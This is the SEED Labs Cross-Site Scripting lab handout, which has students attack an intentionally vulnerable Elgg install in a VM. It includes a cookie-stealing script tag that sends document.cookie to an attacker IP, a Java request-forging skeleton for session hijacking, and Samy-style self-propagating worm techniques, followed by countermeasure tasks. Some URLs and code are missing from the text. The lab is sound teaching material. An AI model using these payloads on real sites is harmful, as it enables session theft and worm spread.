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SEED Labs – Cross-Site Scripting Attack Lab 1

Cross-Site Scripting (XSS) Attack Lab

(Web Application: Elgg)

Copyright c 2014 Wenliang Du, Syracuse University.

The development of this document is/was funded by the following grants from the US National Science Foun-
dation: No. 1303306 and 1318814. Permission is granted to copy, distribute and/or modify this document
Free Software Foundation. A copy of the license can be found at

1 Overview
Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability
makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim’s web browser.
Using this malicious code, the attackers can steal the victim’s credentials, such as session cookies. The
access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can
be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-
scale attacks.
To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web applica-
tion named Elgg in our pre-built Ubuntu VM image. Elgg is a very popular open-source web application
for social network, and it has implemented a number of countermeasures to remedy the XSS threat. To
demonstrate how XSS attacks work, we have commented out these countermeasures in Elgg in our installa-
tion, intentionally making Elgg vulnerable to XSS attacks. Without the countermeasures, users can post any
arbitrary message, including JavaScript programs, to the user profiles. In this lab, students need to exploit
this vulnerability to launch an XSS attack on the modified Elgg, in a way that is similar to what Samy
Kamkar did to MySpace in 2005 through the notorious Samy worm. The ultimate goal of this attack is to
spread an XSS worm among the users, such that whoever views an infected user profile will be infected, and
whoever is infected will add you (i.e., the attacker) to his/her friend list.

2 Lab Environment
You need to use our provided virtual machine image for this lab. The name of the VM image that supports
this lab is called, which is built in June 2014. If you happen to have an older
version of our pre-built VM image, you need to download the most recent version, as the older version does
not support this lab. Go to our SEED web page (˜wedu/seed/) to get
the VM image.

2.1 Environment Configuration

In this lab, we need three things, which are already installed in the provided VM image: (1) the Firefox
web browser, (2) the Apache web server, and (3) the Elgg web application. For the browser, we need to
use the LiveHTTPHeaders extension for Firefox to inspect the HTTP requests and responses. The pre-
built Ubuntu VM image provided to you has already installed the Firefox web browser with the required
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Starting the Apache Server. The Apache web server is also included in the pre-built Ubuntu image.
However, the web server is not started by default. You need to first start the web server using the following

% sudo service apache2 start

The Elgg Web Application. We use an open-source web application called Elgg in this lab. Elgg is a
web-based social-networking application. It is already set up in the pre-built Ubuntu VM image. We have
also created several user accounts on the Elgg server and the credentials are given below.
User UserName Password
Admin admin seedelgg
Alice alice seedalice
Boby boby seedboby
Charlie charlie seedcharlie
Samy samy seedsamy

Configuring DNS. We have configured the following URL needed for this lab. To access the URL , the
Apache server needs to be started first:
URL Description Directory Elgg /var/www/XSS/Elgg/
The above URL is only accessible from inside of the virtual machine, because we have modified
the /etc/hosts file to map the domain name of each URL to the virtual machine’s local IP address
( You may map any domain name to a particular IP address using /etc/hosts. For exam-
ple you can map to the local IP address by appending the following entry
to /etc/hosts:

If your web server and browser are running on two different machines, you need to modify /etc/hosts
on the browser’s machine accordingly to map these domain names to the web server’s IP address, not to

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites
used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or
URLs) on the same machine. A configuration file named default in the directory "/etc/apache2/
sites-available" contains the necessary directives for the configuration:

1. The directive "NameVirtualHost *" instructs the web server to use all IP addresses in the ma-
chine (some machines may have multiple IP addresses).

2. Each web site has a VirtualHost block that specifies the URL for the web site and directory
in the file system that contains the sources for the web site. For example, to configure a web site
with URL with sources in directory /var/www/Example_1/,
and to configure a web site with URL with sources in directory
/var/www/Example_2/, we use the following blocks:
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<VirtualHost *>
DocumentRoot /var/www/Example_1/

<VirtualHost *>
DocumentRoot /var/www/Example_2/

You may modify the web application by accessing the source in the mentioned directories. For example,
with the above configuration, the web application can be changed by
modifying the sources in the directory /var/www/Example_1/.

Other software. Some of the lab tasks require some basic familiarity with JavaScript. Wherever neces-
sary, we provide a sample JavaScript program to help the students get started. To complete task 3, students
may need a utility to watch incoming requests on a particular TCP port. We provide a C program that can be
configured to listen on a particular port and display incoming messages. The C program can be downloaded
from the web site for this lab.

2.2 Note for Instructors

This lab may be conducted in a supervised lab environment. In such a case, the instructor may provide the
following background information to the students prior to doing the lab:
1. A brief overview of the tasks.

2. How to use the virtual machine, Firefox web browser, and the LiveHTTPHeaders extension.

3. Basics of JavaScript and Ajax.

4. How to use the C program that listens on a port.

5. How to write a Java program to send HTTP POST messages.

3 Lab Tasks
3.1 Task 1: Posting a Malicious Message to Display an Alert Window
The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another
user views your profile, the JavaScript program will be executed and an alert window will be displayed. The
following JavaScript program will display an alert window:
If you embed the above JavaScript code in your profile (e.g. in the brief description field), then any user
who views your profile will see the alert window.
In this case, the JavaScript code is short enough to be typed into the short description field. If you want
to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can
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store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the
src attribute in the <script> tag. See the following example:

<script type="text/javascript"

In the above example, the page will fetch the JavaScript program from,
which can be any web server.

3.2 Task 2: Posting a Malicious Message to Display Cookies

user views your profile, the user’s cookies will be displayed in the alert window. This can be done by adding
some additional code to the JavaScript program in the previous task:


3.3 Task 3: Stealing Cookies from the Victim’s Machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user’s cookies,
but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to
send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP
request to the attacker, with the cookies appended to the request.
We can do this by having the malicious JavaScript insert an <img> tag with its src attribute set to the
attacker’s machine. When the JavaScript inserts the img tag, the browser tries to load the image from the
URL in the src field; this results in an HTTP GET request sent to the attacker’s machine. The JavaScript
given below sends the cookies to the port 5555 of the attacker’s machine, where the attacker has a TCP
server listening to the same port. The server can print out whatever it receives. The TCP server program is
available from the lab’s web site.
<script>document.write(’<img src=http://attacker_IP_address:5555?c=’
+ escape(document.cookie) + ’ >’);

3.4 Task 4: Session Hijacking using the Stolen Cookies

After stealing the victim’s cookies, the attacker can do whatever the victim can do to the Elgg web server,
including adding and deleting friends on behalf of the victim, deleting the victim’s post, etc. Essentially,
the attacker has hijacked the victim’s session. In this task, we will launch this session hijacking attack, and
write a program to add a friend on behalf of the victim. The attack should be launched from another virtual
To add a friend for the victim, we should first find out how a legitimate user adds a friend in Elgg.
More specifically, we need to figure out what are sent to the server when a user adds a friend. Firefox’s
LiveHTTPHeaders extension can help us; it can display the contents of any HTTP request message sent
from the browser. From the contents, we can identify all the parameters in the request. A screen shot of
LiveHTTPHeaders is given in Figure
Once we have understood what the HTTP request for adding friends look like, we can write a Java
program to send out the same HTTP request. The Elgg server cannot distinguish whether the request is
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sent out by the user’s browser or by the attacker’s Java program. As long as we set all the parameters
correctly, and the session cookie is attached, the server will accept and process the project-posting HTTP
request. To simplify your task, we provide you with a sample Java program that does the following:

1. Open a connection to web server.

2. Set the necessary HTTP header information.

3. Send the request to web server.

4. Get the response from web server.


public class HTTPSimpleForge {


try {
int responseCode;
InputStream responseIn=null;

String requestDetails = "&__elgg_ts=<<correct_elgg_ts_value>>


// URL to be forged.
URL url = new URL ("

// URLConnection instance is created to further parameterize a

// resource request past what the state members of URL instance
// can represent.
HttpURLConnection urlConn = (HttpURLConnection) url.openConnection();
if (urlConn instanceof HttpURLConnection) {

// addRequestProperty method is used to add HTTP Header Information.

// Here we add User-Agent HTTP header to the forged HTTP packet.
// Add other necessary HTTP Headers yourself. Cookies should be stolen
// using the method in task3.
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

//HTTP Post Data which includes the information to be sent to the server.
String data = "name=...&guid=..";

// DoOutput flag of URL Connection should be set to true

// to send HTTP POST message.

// OutputStreamWriter is used to write the HTTP POST data

// to the url connection.
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
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// HttpURLConnection a subclass of URLConnection is returned by

// url.openConnection() since the url is an http request.
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;

// Contacts the web server and gets the status code from
// HTTP Response message.
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);

// HTTP status code HTTP_OK means the response was

// received sucessfully.
if (responseCode == HttpURLConnection.HTTP_OK)
// Get the input stream from url connection object.
responseIn = urlConn.getInputStream();
// Create an instance for BufferedReader
// to read the response line by line.
BufferedReader buf_inp = new BufferedReader(
new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
} catch (MalformedURLException e) {

If you have trouble understanding the above program, we suggest you to read the following:

• JDK 6 Documentation:

• Java Protocol Handler:

Note 1: Elgg uses two parameters elgg ts and elgg token as a countermeasure to defeat another
related attack (Cross Site Request Forgery). Make sure that you set these parameters correctly for your attack
to succeed.

Note 2: The attack should be launched from a different virtual machine; you should make the relevant
changes to the attacker VM’s /etc/hosts file, so your Elgg server’s IP address points to the victim’s
machine’s IP address, instead of the localhost (in our default setting).

3.5 Task 5: Writing an XSS Worm

In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e. the Samy
Worm). First, we will write an XSS worm that does not self-propagate; in the next task, we will make it
self-propagating. From the previous task, we have learned how to steal the cookies from the victim and then
forge—from the attacker’s machine—HTTP requests using the stolen cookies. In this task, we need to write
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a malicious JavaScript program that forges HTTP requests directly from the victim’s browser, without the
intervention of the attacker. The objective of the attack is to modify the victim’s profile and add Samy as
a friend to the victim. We have already created a user called Samy on the Elgg server (the user name is

Guideline 1: Using Ajax. The malicious JavaScript should be able to send an HTTP request to the Elgg
server, asking it to modify the current user’s profile. There are two common types of HTTP requests, one is
HTTP GET request, and the other is HTTP POST request. These two types of HTTP requests differ in how
they send the contents of the request to the server. In Elgg, the request for modifying profile uses HTTP
POST request. We can use the XMLHttpRequest object to send HTTP GET and POST requests to web
To learn how to use XMLHttpRequest, you can study these cited documents [1, 2]. If you are not
familiar with JavaScript programming, we suggest that you read [3] to learn some basic JavaScript functions.
You will have to use some of these functions.

Guideline 2: Code Skeleton. We provide a skeleton of the JavaScript code that you need to write. You
need to fill in all the necessary details. When you store the final JavaScript code as a worm in the standalone
file, you need to remove all the comments, extra space, new-line characters, <script> and </script>.
var Ajax=null;

// Construct the header information for the HTTP request

Ajax=new XMLHttpRequest();"POST","",true);

// Construct the content. The format of the content can be learned

// from LiveHTTPHeaders.
var content="name=..&description=...&guid="; // You need to fill in the

// Send the HTTP POST request.


You may also need to debug your JavaScript code. Firebug is a Firefox extension that helps you
debug JavaScript code. It can point you to the precise places that contain errors. It is already installed in our
pre-built Ubuntu VM image. After finishing this task, change the ”Content-Type” to ”multipart/form-data”
as in the original HTTP request. Repeat your attack, and describe your observation.

Guideline 3: Getting the user details. To modify the victims profile the HTTP requests send from the
worm should contain the victims username, Guid, elgg ts and elgg token. These details are
present in the web page and the worm needs to find out this information using JavaScript code.
SEED Labs – Cross-Site Scripting Attack Lab 8

Guideline 4: Be careful when dealing with an infected profile. Sometimes, a profile is already infected
by the XSS worm, you may want to leave them alone, instead of modifying them again. If you are not
careful, you may end up removing the XSS worm from the profile.

3.6 Task 6: Writing a Self-Propagating XSS Worm

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely,
whenever some people view an infected profile, not only will their profiles be modified, the worm will also
be propagated to their profiles, further affecting others who view these newly infected profiles. This way,
the more people view the infected profiles, the faster the worm can propagate. This is exactly the same
mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million
users were affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that
can achieve this is called a self-propagating cross-site scripting worm. In this task, you need to implement
such a worm, which infects the victim’s profile and adds the user “Samy” as a friend.
To achieve self-propagation, when the malicious JavaScript modifies the victim’s profile, it should copy
itself to the victim’s profile. There are several approaches to achieve this, and we will discuss two common

• ID Approach: If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to
propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself
from the web page. An example of using DOM APIs is given below. This code gets a copy of itself,
and display it in an alert window:

<script id=worm>
var strCode = document.getElementById("worm");

• Src Approach: If the worm is included using the src attribute in the <script> tag, writing self-
propagating worms is much easier. We have discussed the src attribute in Task 1, and an example
is giving below. The worm can simply copy the following <script> tag to the victim’s profile,
essentially infecting the profile with the same worm.



Note: In this lab, you can try both approaches, but the ID approach is required, because it is more chal-
lenging and it does not rely on external JavaScript code.

Guideline: URL Encoding. All messages transmitted using HTTP over the Internet use URL Encoding,
which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In
the worm code, messages sent to Elgg should be encoded using URL encoding. The escape function can
be used to URL encode a string. An example of using the encode function is given below.
var strSample = "Hello World";
var urlEncSample = escape(strSample);
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Under the URL encoding scheme the ”+” symbol is used to denote space. In JavaScript programs, ”+” is
used for both arithmetic operations and string operations. To avoid this ambiguity, you may use the concat
function for string concatenation, and avoid using addition. For the worm code in the exercise, you don’t
have to use additions. If you do have to add a number (e.g a+5), you can use subtraction (e.g a-(-5)).

3.7 Task 7: Countermeasures

Elgg does have a built in countermeasures to defend against the XSS attack. We have deactivated and
commented out the countermeasures to make the attack work. There is a custom built security plugin
HTMLawed 1.8 on the Elgg web application which on activated, validates the user input and removes the
tags from the input. This specific plugin is registered to the function filter tags in the elgg/
engine/lib/input.php file.
To turn on the countermeasure, login to the application as admin, goto administration (on top
menu) → plugins (on the right panel), andSelect security and spam in the dropdown menu and
click filter. You should find the HTMLawed 1.8 plugin below. Click on Activate to enable the
In addition to the HTMLawed 1.8 security plugin in Elgg, there is another built-in PHP method called
htmlspecialchars(), which is used to encode the special characters in the user input, such as encod-
ing "<" to &lt, ">" to &gt, etc. Please go to the directory elgg/views/default/output and find
the function call htmlspecialchars in text.php, tagcloud.php, tags.php, access.php,
tag.php, friendlytime.php, url.php, dropdown.php, email.php and confirmlink.php
files. Uncomment the corresponding "htmlspecialchars" function calls in each file.
Once you know how to turn on these countermeasures, please do the following:
1. Activate only the HTMLawed 1.8 countermeasure but not htmlspecialchars; visit any of the
victim profiles and describe your observations in your report.
2. Turn on both countermeasures; visit any of the victim profiles and describe your observation in your

Note: Please do not change any other code and make sure that there are no syntax errors.

4 Submission
You need to submit a detailed lab report to describe what you have done and what you have observed.
Please provide details using LiveHTTPHeaders, Wireshark, and/or screenshots. You also need to
provide explanation to the observations that are interesting or surprising.

[1] AJAX for n00bs. Available at
[2] AJAX POST-It Notes. Available at
[3] Essential Javascript – A Javascript Tutorial. Available at the following URL:

[4] The Complete Javascript Strings Reference. Available at the following URL:
SEED Labs – Cross-Site Scripting Attack Lab 10

[5] Technical explanation of the MySpace Worm. Available at the following URL:

[6] Elgg Documentation. Available at URL:

SEED Labs – Cross-Site Scripting Attack Lab 11

GET /action/friends/add?friend=40&__elgg_ts=1402467511
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101
Accept-Encoding: gzip, deflate
Cookie: Elgg=7pgvml3vh04m9k99qj5r7ceho4
Connection: keep-alive

HTTP/1.1 302 Found

Date: Wed, 11 Jun 2014 06:19:28 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Figure 1: Screenshot of LiveHTTPHeaders Extension